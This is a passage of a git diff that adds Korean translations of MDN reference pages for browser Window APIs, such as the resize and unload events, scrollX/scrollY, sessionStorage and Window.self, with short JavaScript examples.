+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Background Tasks')}}{{Spec2('Background Tasks')}}Initial definition.
+ +

Browser compatibility

+ +

{{Compat("api.Window.requestIdleCallback")}}

+ +

See also

+ + diff --git a/files/ko/web/api/window/resize_event/index.html b/files/ko/web/api/window/resize_event/index.html new file mode 100644 index 0000000000..f2c38b598b --- /dev/null +++ b/files/ko/web/api/window/resize_event/index.html @@ -0,0 +1,192 @@ +--- +title: resize +slug: Web/API/Window/resize_event +translation_of: Web/API/Window/resize_event +--- +

 

+ +

resize 이벤트는 document view의 크기가 변경될 때 발생합니다.

+ +

window.onresize 속성(어트리뷰트)을 사용하거나,window.addEventListener('resize', ...)를 사용하여, 이벤트 핸들러에 resize 이벤트를 등록할 수 있습니다.

+ +

일부 브라우저의 이전 버전에서는 모든 HTML 요소(엘리먼트)에 resize 이벤트 핸들러를 등록 할 수 있었습니다. 여전히 onresize 속성을 사용하거나, {{domxref("EventTarget.addEventListener", "addEventListener()")}}를 사용하여 모든 요소에 핸들러를 설정할 수 있습니다. 그러나 resize 이벤트는 오직 {{domxref("Window", "window")}}객체({{domxref("document.defaultView")}})에서만 발생합니다(전달합니다). window 객체에 등록된 핸들러만 이벤트를 수신합니다.

+ +

모든 요소가 resize 변경을 알림받을 수 있도록 하는 새로운 제안(proposal 2017)이 있습니다. 드래프트문서를 읽으려면 Resize Observer를 참조하고, 진행중인 토론을 읽으려면 Github issues 문서를 참조하세요.

+ +

General info

+ +
+
Specifications
+
DOM L3, CSSOM View
+
Interface
+
UIEvent
+
Bubbles
+
No
+
Cancelable
+
No
+
Target
+
defaultView (window)
+
Default Action
+
None
+
+ +

Properties

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
PropertyTypeDescription
target {{readonlyInline}}EventTarget이벤트 타겟(DOM 트리의 최상위 타겟).
type {{readonlyInline}}DOMString이벤트의 타입.
bubbles {{readonlyInline}}Boolean이벤트가 정상적으로 버블이 발생하는지 여부.
cancelable {{readonlyInline}}Boolean이벤트 취소 가능 여부.
view {{readonlyInline}}WindowProxydocument.defaultView (문서의 window)
detail {{readonlyInline}}long (float)0.
+ +

Examples

+ +

resize 이벤트는 빈번하게 발생될 수 있기 때문에, 이벤트 핸들러는 DOM 수정과 같은 계산이 많이 필요한 연산을 실행하지 않아야 합니다. 대신에 다음과 같이 requestAnimationFrame, setTimeout, customEvent* 등을 사용해 이벤트를 스로틀(throttle) 하는것이 좋습니다:
+
+ * 주의: IE11은 제대로 작동하려면 customEvent 폴리필(polyfill)이 필요합니다.

+ +

requestAnimationFrame + customEvent

+ +
(function() {
+    var throttle = function(type, name, obj) {
+        obj = obj || window;
+        var running = false;
+        var func = function() {
+            if (running) { return; }
+            running = true;
+             requestAnimationFrame(function() {
+                obj.dispatchEvent(new CustomEvent(name));
+                running = false;
+            });
+        };
+        obj.addEventListener(type, func);
+    };
+
+    /* init - you can init any event */
+    throttle("resize", "optimizedResize");
+})();
+
+// handle event
+window.addEventListener("optimizedResize", function() {
+    console.log("Resource conscious resize callback!");
+});
+
+ +

requestAnimationFrame

+ +
var optimizedResize = (function() {
+
+    var callbacks = [],
+        running = false;
+
+    // fired on resize event
+    function resize() {
+
+        if (!running) {
+            running = true;
+
+            if (window.requestAnimationFrame) {
+                window.requestAnimationFrame(runCallbacks);
+            } else {
+                setTimeout(runCallbacks, 66);
+            }
+        }
+
+    }
+
+    // run the actual callbacks
+    function runCallbacks() {
+
+        callbacks.forEach(function(callback) {
+            callback();
+        });
+
+        running = false;
+    }
+
+    // adds callback to loop
+    function addCallback(callback) {
+
+        if (callback) {
+            callbacks.push(callback);
+        }
+
+    }
+
+    return {
+        // public method to add additional callback
+        add: function(callback) {
+            if (!callbacks.length) {
+                window.addEventListener('resize', resize);
+            }
+            addCallback(callback);
+        }
+    }
+}());
+
+// start process
+optimizedResize.add(function() {
+    console.log('Resource conscious resize callback!')
+});
+
+ +

setTimeout

+ +
(function() {
+
+  window.addEventListener("resize", resizeThrottler, false);
+
+  var resizeTimeout;
+  function resizeThrottler() {
+    // ignore resize events as long as an actualResizeHandler execution is in the queue
+    if ( !resizeTimeout ) {
+      resizeTimeout = setTimeout(function() {
+        resizeTimeout = null;
+        actualResizeHandler();
+
+       // The actualResizeHandler will execute at a rate of 15fps
+       }, 66);
+    }
+  }
+
+  function actualResizeHandler() {
+    // handle the resize event
+    ...
+  }
+
+}());
diff --git a/files/ko/web/api/window/resizeto/index.html b/files/ko/web/api/window/resizeto/index.html new file mode 100644 index 0000000000..a00b232297 --- /dev/null +++ b/files/ko/web/api/window/resizeto/index.html @@ -0,0 +1,73 @@ +--- +title: Window.resizeTo() +slug: Web/API/Window/resizeTo +tags: + - API + - CSSOM View + - Method + - Reference + - Window +translation_of: Web/API/Window/resizeTo +--- +
{{APIRef}}
+ +

Window.resizeTo() 메서드는 동적으로 창의 크기를 변경합니다.

+ +

구문

+ +
window.resizeTo(width, height)
+
+ +

매개변수

+ +
+
width
+
새로운 {{domxref("window.outerWidth","outerWidth")}}를 나타내는 픽셀 단위 정수. 스크롤 바, 제목 표시줄 등을 모두 포함한 너비입니다.
+
height
+
새로운 {{domxref("window.outerHeight","outerHeight")}}를 나타내는 픽셀 단위 정수. 스크롤 바, 제목 표시줄 등을 모두 포함한 높이입니다.
+
+ + + +

예제

+ +

다음 함수는 창의 크기를 화면에서 사용 가능한 크기의 1/4로 설정합니다. {{domxref("Screen.availWidth")}}, {{domxref("Screen.availHeight")}} 속성도 참고하세요.

+ +
function quarter() {
+  window.resizeTo(
+    window.screen.availWidth / 2,
+    window.screen.availHeight / 2
+  );
+}
+ +

명세

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{ SpecName('CSSOM View', '#dom-window-resizeto', 'window.resizeTo()') }}{{ Spec2('CSSOM View') }}
+ +

브라우저 호환성

+ + + +

{{Compat("api.Window.resizeTo")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/api/window/scrollto/index.html b/files/ko/web/api/window/scrollto/index.html new file mode 100644 index 0000000000..10fa9652f2 --- /dev/null +++ b/files/ko/web/api/window/scrollto/index.html @@ -0,0 +1,48 @@ +--- +title: Window.scrollTo() +slug: Web/API/Window/scrollTo +translation_of: Web/API/Window/scrollTo +--- +
{{ APIRef }}
+ +

요약

+ +

문서의 지정된 위치로 스크롤합니다.

+ +

구문

+ +
window.scrollTo(x-좌표, y-좌표)
+ +

매개변수

+ + + +

예제

+ +
window.scrollTo( 0, 1000 );
+ +

노트

+ +

이 함수는 window.scroll과 효과적으로 같습니다. 스크롤링 관련 정보는 window.scrollBy, window.scrollByLines, 그리고 window.scrollByPages가 있습니다.

+ +

사양

+ + + + + + + + + + + + + + + + +
사양상태주해
{{ SpecName('CSSOM View', '#dom-window-scroll', 'window.scroll()') }}{{ Spec2('CSSOM View') }}Initial definition.
diff --git a/files/ko/web/api/window/scrollx/index.html b/files/ko/web/api/window/scrollx/index.html new file mode 100644 index 0000000000..e967d100e0 --- /dev/null +++ b/files/ko/web/api/window/scrollx/index.html @@ -0,0 +1,82 @@ +--- +title: Window.scrollX +slug: Web/API/Window/scrollX +tags: + - API + - CSSOM View + - Property + - Reference + - 스크롤 +translation_of: Web/API/Window/scrollX +--- +
{{APIRef("CSSOM View")}}
+ +

{{domxref("Window")}} 인터페이스의 scrollX 읽기 전용 속성은 문서가 수평으로 얼마나 스크롤됐는지 픽셀 단위로 반환합니다. 최신 브라우저에서는 값의 정밀도가 픽셀보다 작으므로 반드시 정숫값을 반환하는건 아닙니다. 수직 스크롤은 {{domxref("Window.scrollY", "scrollY")}} 속성을 사용하여 가져올 수 있습니다.

+ +

구문

+ +
var x = window.scrollX
+ +

+ +

반환하는 값은 문서가 원점으로부터 수평방향으로 스크롤한 픽셀의 수를 나타내는 배정밀도 부동소수점 값입니다. 양의 값이 왼쪽 스크롤을 의미합니다. 문서를 픽셀보다 작은 정밀도의 장치에서 렌더링한 경우 반환값의 정밀도도 높아져 소숫값을 반환할 수 있습니다. 문서가 좌우로 전혀 움직이지 않은 상태면 0을 반환합니다.

+ +
+

정숫값이 필요하면 {{jsxref("Math.round()")}}를 사용해 반올림할 수 있습니다.

+
+ +

더 기술적인 용어로, scrollX는 현재 {{Glossary("viewport", "뷰포트")}} 왼쪽 모서리의 X좌표를 반환하고, 뷰포트가 없으면 0을 반환합니다.

+ +

예제

+ +

다음 예제는 문서의 현재 스크롤 위치가 400픽셀이 넘으면 맨 처음으로 돌아갑니다.

+ +
if (window.scrollX > 400) {
+  window.scroll(0,0);
+}
+ +

참고

+ +

pageXOffset 속성은 scrollX 의 다른 이름입니다.

+ +
window.pageXOffset === window.scrollX; // 항상 true
+ +

브라우저 호환성을 위해서는 window.scrollX 대신 window.pageXOffset을 사용하세요. 이에 더해, Internet Explorer 9 미만에서는 두 속성 모두 지원하지 않으므로 다른 비표준 속성을 사용해야 합니다. 다음은 완벽히 호환되는 코드의 예시입니다.

+ +
var supportPageOffset = window.pageXOffset !== undefined;
+var isCSS1Compat = ((document.compatMode || "") === "CSS1Compat");
+
+var x = supportPageOffset ? window.pageXOffset : isCSS1Compat ? document.documentElement.scrollLeft : document.body.scrollLeft;
+var y = supportPageOffset ? window.pageYOffset : isCSS1Compat ? document.documentElement.scrollTop : document.body.scrollTop;
+
+ +

명세

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSSOM View', '#dom-window-scrollx', 'window.scrollX')}}{{Spec2('CSSOM View')}} 
+ +

브라우저 호환성

+ + + +

{{Compat("api.Window.scrollX")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/api/window/scrolly/index.html b/files/ko/web/api/window/scrolly/index.html new file mode 100644 index 0000000000..311a1eed05 --- /dev/null +++ b/files/ko/web/api/window/scrolly/index.html @@ -0,0 +1,86 @@ +--- +title: Window.scrollY +slug: Web/API/Window/scrollY +tags: + - API + - CSSOM View + - Property + - Reference + - Window + - 스크롤 +translation_of: Web/API/Window/scrollY +--- +
{{APIRef("CSSOM View")}}
+ +

{{domxref("Window")}} 인터페이스의 scrollY 읽기 전용 속성은 문서가 수직으로 얼마나 스크롤됐는지 픽셀 단위로 반환합니다. 최신 브라우저에서는 값의 정밀도가 픽셀보다 작으므로 반드시 정숫값을 반환하는건 아닙니다. 수평 스크롤은 {{domxref("Window.scrollX", "scrollX")}} 속성을 사용하여 가져올 수 있습니다.

+ +

구문

+ +
var y = window.scrollY
+ +

+ +

원점으로부터 문서를 수직방향으로 스크롤한 픽셀의 수를 나타내는, 배정밀도 부동소수점 값. 양의 값이 위쪽 스크롤을 의미합니다. 문서를 단일 픽셀보다 높은 정밀도의 장치에서 렌더링한 경우 반환값의 정밀도도 높아져 소숫값을 반환할 수 있습니다. 문서가 위나 아래로 전혀 움직이지 않은 상태면 0을 반환합니다.

+ +
+

정숫값이 필요하면 {{jsxref("Math.round()")}}를 사용해 반올림할 수 있습니다.

+
+ +

더 기술적인 용어로, scrollY는 현재 {{Glossary("viewport", "뷰포트")}} 위쪽 모서리의 Y좌표를 반환하고, 뷰포트가 없으면 0을 반환합니다.

+ +

예제

+ +
// make sure and go down to the second page
+if (window.scrollY) {
+  window.scroll(0, 0);  // reset the scroll position to the top left of the document.
+}
+
+window.scrollByPages(1);
+ +

참고

+ +

scrollY 속성을 사용하면 {{domxref("window.scrollBy", "scrollBy()")}}, {{domxref("window.scrollByLines", "scrollByLines()")}}, {{domxref("window.scrollByPages", "scrollByPages()")}}와 같은 상대적 스크롤 함수를 사용할 때, 문서가 이미 스크롤되지는 않았는지 판별할 수 있습니다.

+ +

{{domxref("Window.pageYOffset", "pageYOffset")}} 속성은 scrollY의 다른 이름입니다.

+ +
window.pageYOffset === window.scrollY; // 항상 true
+ +

브라우저간 호환성을 위해서는 window.scrollY 대신 window.pageYOffset을 사용하세요. 이에 더해, Internet Explorer 9 미만의 구형 환경에서는 두 속성 모두 지원하지 않으므로 또 다른 비표준 속성을 사용해야 합니다. 다음은 완벽히 호환되는 코드의 예시입니다.

+ +
var supportPageOffset = window.pageXOffset !== undefined;
+var isCSS1Compat = ((document.compatMode || "") === "CSS1Compat");
+
+var x = supportPageOffset ? window.pageXOffset : isCSS1Compat ? document.documentElement.scrollLeft : document.body.scrollLeft;
+var y = supportPageOffset ? window.pageYOffset : isCSS1Compat ? document.documentElement.scrollTop : document.body.scrollTop;
+
+ +

명세

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSSOM View', '#dom-window-scrolly', 'window.scrollY')}}{{Spec2('CSSOM View')}}
+ +

브라우저 호환성

+ + + +

{{Compat("api.Window.scrollY")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/api/window/self/index.html b/files/ko/web/api/window/self/index.html new file mode 100644 index 0000000000..0e22bd94ed --- /dev/null +++ b/files/ko/web/api/window/self/index.html @@ -0,0 +1,72 @@ +--- +title: Window.self +slug: Web/API/Window/self +tags: + - API + - HTML DOM + - Property + - Read-only + - Reference + - Window +translation_of: Web/API/Window/self +--- +
{{APIRef}}
+ +

Window.self 읽기전용 속성은 자기 자신을 {{domxref("WindowProxy")}}로써 반환합니다. window.self로도 사용할 수 있고, self만 독립적으로 사용해 접근할 수 있습니다. 독립적으로 접근했을 때의 이점은 비 {{jsxref("Window")}} 환경인 {{domxref("Worker", "웹 워커", "", 0)}} 등도 비슷한 표기법을 사용한다는 것입니다. 이 때 selfWindow 문맥에서는 window.self, 워커 문맥에서는 {{domxref("WorkerGlobalScope.self")}}와 같습니다.

+ +

예제

+ +

아래와 같이 쓴 window.self는 그냥 window로 바꿨을 때와 동일합니다.

+ +
if (window.parent.frames[0] != window.self) {
+    // this window is not the first frame in the list
+}
+
+ +

이에 더해 브라우징 문맥의 현재 활성확된 문서에서는 window가 현재 전역 객체를 가리키므로 다음 네 줄의 코드는 모두 동일합니다.

+ +
var w1 = window;
+var w2 = self;
+var w3 = window.window;
+var w4 = window.self;
+// w1, w2, w3, w4 모두 일치. 그러나 워커에서는 w2만 작동함
+
+ +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', '#dom-self', 'Window.self')}}{{Spec2('HTML WHATWG')}}No difference from the latest snapshot {{SpecName("HTML5.1")}}
{{SpecName('HTML5.1', 'browsers.html#dom-self', 'Window.self')}}{{Spec2('HTML5.1')}}No difference from the {{SpecName("HTML5 W3C")}}
{{SpecName('HTML5 W3C', 'browsers.html#dom-self', 'Window.self')}}{{Spec2('HTML5 W3C')}}First snapshot containing the definition of Window.self.
+ +

브라우저 호환성

+ + + +

{{Compat("api.Window.self")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/api/window/sessionstorage/index.html b/files/ko/web/api/window/sessionstorage/index.html new file mode 100644 index 0000000000..7ae76ce298 --- /dev/null +++ b/files/ko/web/api/window/sessionstorage/index.html @@ -0,0 +1,101 @@ +--- +title: Window.sessionStorage +slug: Web/API/Window/sessionStorage +tags: + - API + - Property + - Reference + - Storage + - Window + - WindowSessionStorage + - 세션스토리지 +translation_of: Web/API/Window/sessionStorage +--- +
{{APIRef("Web Storage API")}}
+ +

sessionStorage 읽기 전용 속성은 현재 {{glossary("origin", "출처")}} 세션의 {{domxref("Storage")}} 객체에 접근합니다. sessionStorage는 {{domxref("Window.localStorage", "localStorage")}}와 비슷하지만, localStorage의 데이터는 만료되지 않고, sessionStorage의 데이터는 페이지 세션이 끝날 때 제거되는 차이가 있습니다.

+ + + +

sessionStorage에 저장한 자료는 페이지 프로토콜별로 구분합니다. 특히 HTTP(http://example.com)로 방문한 페이지에서 저장한 데이터는 같은 페이지의 HTTPS(https://example.com)와는 다른 sessionStorage에 저장됩니다.

+ +

키와 값은 항상 각 문자에 2바이트를 할당하는 UTF-16 {{domxref("DOMString")}}의 형태로 저장합니다. 객체와 마찬가지로 정수 키는 자동으로 문자열로 변환합니다.

+ +

구문

+ +
myStorage = window.sessionStorage;
+ +

+ +

현재 {{glossary("origin", "출처")}}의 세션 저장 공간에 접근할 수 있는 {{domxref("Storage")}} 객체.

+ +

예외

+ +
+
SecurityError
+
요청이 정책의 결정을 위반했거나, 출처가 유효한 스킴/호스트/포트 튜플이 아닌 경우. 유효하지 않은 튜플은 출처가 file:이나 data: 스킴을 사용했을 때 발생할 수 있습니다. 예외의 예를 들자면 사용자가 특정 출처의 지속성 데이터를 거부하도록 브라우저를 설정하는 경우가 있습니다.
+
+ +

예제

+ +

아래 코드는 현재 출처의 세션 {{domxref("Storage")}} 객체에 접근한 후, {{domxref("Storage.setItem()")}}을 사용해 항목 하나를 추가합니다.

+ +
sessionStorage.setItem('myCat', 'Tom');
+ +

다음 예제는 텍스트 필드의 문장을 자동 저장하여 브라우저가 의도치 않게 재시작 되었을 경우 자동으로 텍스트 필드의 내용을 저장된 문장으로 복구하여 작성한 내용이 사라지지 않게 합니다.

+ +
// 추적할 텍스트 입력 칸 가져오기
+let field = document.getElementById("field");
+
+// 자동저장 값이 존재하는지 판별
+// (의도치 않게 페이지를 새로 불러올 경우에만 발생)
+if (sessionStorage.getItem("autosave")) {
+  // 입력 칸의 콘텐츠 복구
+  field.value = sessionStorage.getItem("autosave");
+}
+
+// 텍스트 입력 칸의 변화 수신
+field.addEventListener("change", function() {
+  // 결과를 세션에 저장
+  sessionStorage.setItem("autosave", field.value);
+});
+
+ +
+

참고: Web Storage API 사용하기 문서에서 전체 예제를 살펴보세요.

+
+ +

명세

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("HTML WHATWG", "webstorage.html#dom-sessionstorage", "sessionStorage")}}{{Spec2("HTML WHATWG")}}
+ +

브라우저 호환성

+ + + +

{{Compat("api.Window.sessionStorage")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/api/window/status/index.html b/files/ko/web/api/window/status/index.html new file mode 100644 index 0000000000..2dd40aa3fd --- /dev/null +++ b/files/ko/web/api/window/status/index.html @@ -0,0 +1,25 @@ +--- +title: Window.status +slug: Web/API/Window/status +translation_of: Web/API/Window/status +--- +
{{APIRef}}
+ +

요약

+ +

브라우저 하단의 상태 표시줄에 텍스트를 바꾸거나, 기존 텍스트를 얻을 수 있다.

+ +

이 프로퍼티는 파이어폭스나 기타 브라우저의 기본 설정값에서는 동작하지 않는다. window.status를 변경한다고 하더라도 상태 표시줄의 메시지에 출력되지 않을 것이다. 상태바 텍스트를 변경할 수 있게 하려면 유저가 about:config 창에서 dom.disable_window_status_change 를 허용해 주어야 한다.(인터넷 익스플로러의 경우 [인터넷 옵션 - 보안 - 사용자 지정 수준 - 스크립트를 통해 상태 표시줄 업데이트 허용]을 '사용'으로 바꾸어야 한다.)

+ +
+

Note: Starting in {{Gecko("1.9.1")}}, users can let websites change the status text by enabling the "Change status bar" preference in the Advanced options panel.

+
+ +

문법

+ +
window.status = string;
+var value = window.status;
+ +

Specification

+ +

HTML5

diff --git a/files/ko/web/api/window/stop/index.html b/files/ko/web/api/window/stop/index.html new file mode 100644 index 0000000000..9ad0b6d546 --- /dev/null +++ b/files/ko/web/api/window/stop/index.html @@ -0,0 +1,50 @@ +--- +title: Window.stop() +slug: Web/API/Window/stop +translation_of: Web/API/Window/stop +--- +
 {{APIRef}}
+ +

요약

+ +

Window.stop()메서드는 window 객체의 로딩을 취소하는 메서드입니다.

+ +

문법

+ +
window.stop()
+
+ +

예시

+ +
window.stop();
+
+ +

본문

+ +

stop() 메서드는 브라우저의 정지 버튼을 누르는 행위와 동등한 효과를 지닙니다. Because of the order in which scripts are loaded, the stop() method cannot stop the document in which it is contained from loading, but it will stop the loading of large images, new windows, and other objects whose loading is deferred.

+ +

설명

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG','browsers.html#dom-window-stop','Window.stop()')}}{{Spec2('HTML WHATWG')}} 
{{SpecName('HTML5 W3C', 'browsers.html#dom-window-stop', 'Window.stop')}}{{Spec2('HTML5 W3C')}} 
+ +

Compatibility

+ +

stop()메서드는 인터넷 익스플로러에서 지원하지 않습니다.

diff --git a/files/ko/web/api/window/toolbar/index.html b/files/ko/web/api/window/toolbar/index.html new file mode 100644 index 0000000000..37e6a6cce0 --- /dev/null +++ b/files/ko/web/api/window/toolbar/index.html @@ -0,0 +1,51 @@ +--- +title: Window.toolbar +slug: Web/API/Window/toolbar +tags: + - 참고 + - 창 +translation_of: Web/API/Window/toolbar +--- +
{{APIRef}}
+ +

요약

+ +

창에서 끌 수 있는, 눈에 보이는 toolbar 문제를 해결합니다.

+ +

문법

+ +
objRef = window.toolbar
+ +

예제

+ +

{{deprecated_inline()}} 주어진 HTML 예제는 다양한 "바" 객체의 visible 프로퍼티의 사용방법과, 권한상승 역시 현재창에서 어떠한 bar의 visible 프로퍼티로 쓰여지는것을 필요로한다는 것을 보여주고 있습니다. 하지만 deprecation of enablePrivilege 때문에 이 기능은 웹 페이지에서 사용할 수 없습니다. EnablePrivilege는 Firefox 15 에서 작동하지 않고, Firefox 17 에서 삭제 될 것입니다.

+ +
<!DOCTYPE html>
+<html>
+<head>
+<title>Various DOM Tests</title>
+<script>
+
+// 현재창에서 존재하는 바의 상태를 변경
+netscape.security.PrivilegeManager.enablePrivilege("UniversalBrowserWrite");
+window.toolbar.visible=!window.toolbar.visible;
+
+</script>
+</head>
+
+<body>
+  <p>Various DOM Tests</p>
+</body>
+</html>
+ +

설명

+ +

페이지를 띄울때, 브라우저는 다음과 같은 dialog를 출력할 것입니다. : Image:Modify_any_open_window_dialog.png

+ +

이러한 눈에 보이는 바들을 끄기 위해서, 당신의 스크립트를 확인하거나 위의 예제처럼 적절한 권한을 활성화 시켜야 합니다. 또한 주의해야 할 점은 동적으로 업데이트 되는 다양한 보이는 toolbar는 창의 크기에 따라 동적으로 업데이트 될 수 있고, 당신의 페이지의 레이아웃에 영향을 끼칠 수 있습니다.

+ +

See also: window.locationbar, window.menubar, window.personalbar, window.scrollbars, window.statusbar

+ +

사양

+ +

HTML5

diff --git a/files/ko/web/api/window/top/index.html b/files/ko/web/api/window/top/index.html new file mode 100644 index 0000000000..d499281395 --- /dev/null +++ b/files/ko/web/api/window/top/index.html @@ -0,0 +1,55 @@ +--- +title: Window.top +slug: Web/API/Window/top +tags: + - API + - HTML DOM + - Property + - Reference + - Window +translation_of: Web/API/Window/top +--- +
{{APIRef}}
+ +

Returns a reference to the topmost window in the window hierarchy.

+ +

Syntax

+ +
var topWindow = window.top;
+
+ +

Notes

+ +

Where the {{domxref("window.parent")}} property returns the immediate parent of the current window, window.top returns the topmost window in the hierarchy of window objects.

+ +

This property is especially useful when you are dealing with a window that is in a subframe of a parent or parents, and you want to get to the top-level frameset.

+ +

Specifications

+ + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', 'browsers.html#dom-top', 'window.top')}}{{Spec2('HTML WHATWG')}} 
{{SpecName('HTML5 W3C', 'browsers.html#dom-top', 'window.top')}}{{Spec2('HTML5 W3C')}}Initial definition
+ +

Browser compatibility

+ + + +

{{Compat("api.Window.top")}}

diff --git a/files/ko/web/api/window/unload_event/index.html b/files/ko/web/api/window/unload_event/index.html new file mode 100644 index 0000000000..8cf741a9ae --- /dev/null +++ b/files/ko/web/api/window/unload_event/index.html @@ -0,0 +1,126 @@ +--- +title: 'Window: unload 이벤트' +slug: Web/API/Window/unload_event +tags: + - Event + - Reference + - Window + - 이벤트 +translation_of: Web/API/Window/unload_event +--- +
{{APIRef}}
+ +

unload 이벤트는 문서나 하위 리소스가 언로딩 중일 때 발생합니다.

+ + + + + + + + + + + + + + + + + + + + +
확산아니오
취소 가능아니오
인터페이스{{domxref("Event")}}
이벤트 처리기 속성{{domxref("WindowEventHandlers/onunload", "onunload")}}
+ +

unload는 다음 이벤트 이후 발생합니다.

+ + + +

unload 시점의 문서는 다음과 같은 상태입니다.

+ + + +

참고로 unload 이벤트 역시 문서 트리의 순서를 따라갑니다. 즉 부모 프레임의 unload가 자식 프레임의 unload 이전에 발생합니다. 아래 예제를 확인하세요

+ +

예제

+ +
<!DOCTYPE html>
+<html>
+  <head>
+    <title>Parent Frame</title>
+    <script>
+      window.addEventListener('beforeunload', function(event) {
+        console.log('I am the 1st one.');
+      });
+      window.addEventListener('unload', function(event) {
+        console.log('I am the 3rd one.');
+      });
+    </script>
+  </head>
+  <body>
+    <iframe src="child-frame.html"></iframe>
+  </body>
+</html>
+ +

아래는 child-frame.html의 내용입니다.

+ +
<!DOCTYPE html>
+<html>
+  <head>
+    <title>Child Frame</title>
+    <script>
+      window.addEventListener('beforeunload', function(event) {
+        console.log('I am the 2nd one.');
+      });
+      window.addEventListener('unload', function(event) {
+        console.log('I am the 4th and last one…');
+      });
+    </script>
+  </head>
+  <body>
+      ☻
+  </body>
+</html>
+ +

부모 프레임이 언로딩 될 때, console.log() 메시지를 통해 순서를 확인할 수 있습니다.

+ +

명세

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('UI Events', '#event-type-unload', 'unload')}}{{Spec2('UI Events')}}
+ +

브라우저 호환성

+ + + +

{{Compat("api.Window.unload_event")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/api/window/window/index.html b/files/ko/web/api/window/window/index.html new file mode 100644 index 0000000000..16109243f1 --- /dev/null +++ b/files/ko/web/api/window/window/index.html @@ -0,0 +1,43 @@ +--- +title: Window.window +slug: Web/API/Window/window +translation_of: Web/API/Window/window +--- +
{{APIRef}}
+ +

요약

+ +

window 객체의 window 프로퍼티는 자기 자신의 window 객체를 가리킨다. 즉, 아래의 표현들은 같은 window 객체를 반환하게 된다:

+ +
window.window
+window.window.window
+window.window.window.window
+  ...
+
+ +

웹페이지에서 window 객체는 전역 객체이기도 하다. 다시 말해서:

+ +
    +
  1. 스크립트의 전역 변수는 사실 window 객체의 프로퍼티이다. +
    var global = {data: 0};
    +alert(global === window.global); // true를 반환한다.
    +
    +
  2. +
  3. window 객체의 내장된 프로퍼티들은 window. 접두사 없이도 참조가 가능하다. +
    setTimeout("alert('Hi!')", 50); // window.setTimeout. 을 사용한 것과 동일하다.
    +alert(window === window.window); // true를 반환한다.
    +
    +
  4. +
+ +

자기 자신을 참조하는 window 라는 프로퍼티가 있다는 것은 (아마도) 전역 객체를 쉽게 참조하기 위함으로 생각된다.(없다면 스크립트 첫 부분에 다음과 같이 직접 만들어주었어야 했다. var window = this;)

+ +

다른 이유로는, 만약 이 프로퍼티가 없다면 다음과 같이 작성이 불가능하기 때문이다: "{{domxref("window.open","window.open('http://google.com/')")}}" - 대신 다음과 같이 적어야 할 것이다. "open('http://google.com/')"

+ +

Yet another reason to use this property is for libraries which wish to offer OOP-versions and non-OOP versions (especially JavaScript modules). If, for example, we refer to "this.window.location.href", a JavaScript module could define a property called "window" inside of a class it defined (since no global "window" variable exists for it by default) which, could be created, for example, after passing in a window object to the module class' constructor.  Thus, "this.window" inside of its functions would refer to that window object. In the non-namespaced version, "this.window" would simply refer back to "window", and also be able to get the document location without trouble. Another advantage is that the objects of such a class (even if the class were defined outside of a module) could change their reference to the window at will, as they would not be able to do if they had hard-coded a reference to "window" (yet the default in the class could still be set as the current window object).

+ +

Specification

+ + diff --git a/files/ko/web/api/windoweventhandlers/index.html b/files/ko/web/api/windoweventhandlers/index.html new file mode 100644 index 0000000000..751168141a --- /dev/null +++ b/files/ko/web/api/windoweventhandlers/index.html @@ -0,0 +1,101 @@ +--- +title: WindowEventHandlers +slug: Web/API/WindowEventHandlers +tags: + - API + - HTML-DOM + - Interface + - Mixin + - Reference + - WindowEventHandlers +translation_of: Web/API/WindowEventHandlers +--- +
{{APIRef("HTML DOM")}}
+ +

The WindowEventHandlers mixin describes the event handlers common to several interfaces like {{domxref("Window")}}, or {{domxref("HTMLBodyElement")}} and {{domxref("HTMLFrameSetElement")}}. Each of these interfaces can implement additional specific event handlers.

+ +
+

Note: WindowEventHandlers is a mixin and not an interface; you can't actually create an object of type WindowEventHandlers.

+
+ +

Properties

+ +

The events properties, of the form onXYZ, are defined on the {{domxref("WindowEventHandlers")}}, and implemented by {{domxref("Window")}}, and {{domxref("WorkerGlobalScope")}} for Web Workers.

+ +
+
{{domxref("WindowEventHandlers.onafterprint")}}
+
Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("afterprint")}} event is raised.
+
{{domxref("WindowEventHandlers.onbeforeprint")}}
+
Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("beforeprint")}} event is raised.
+
{{domxref("WindowEventHandlers.onbeforeunload")}}
+
Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("beforeunload")}} event is raised.
+
{{domxref("WindowEventHandlers.onhashchange")}}
+
Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("hashchange")}} event is raised.
+
{{domxref("WindowEventHandlers.onlanguagechange")}} {{experimental_inline}}
+
Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("languagechange")}} event is raised.
+
{{domxref("WindowEventHandlers.onmessage")}}
+
Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("message")}} event is raised.
+
{{domxref("WindowEventHandlers.onmessageerror")}}
+
Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("MessageError")}} event is raised.
+
{{domxref("WindowEventHandlers.onoffline")}}
+
Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("offline")}} event is raised.
+
{{domxref("WindowEventHandlers.ononline")}}
+
Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("online")}} event is raised.
+
{{domxref("WindowEventHandlers.onpagehide")}}
+
Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("pagehide")}} event is raised.
+
{{domxref("WindowEventHandlers.onpageshow")}}
+
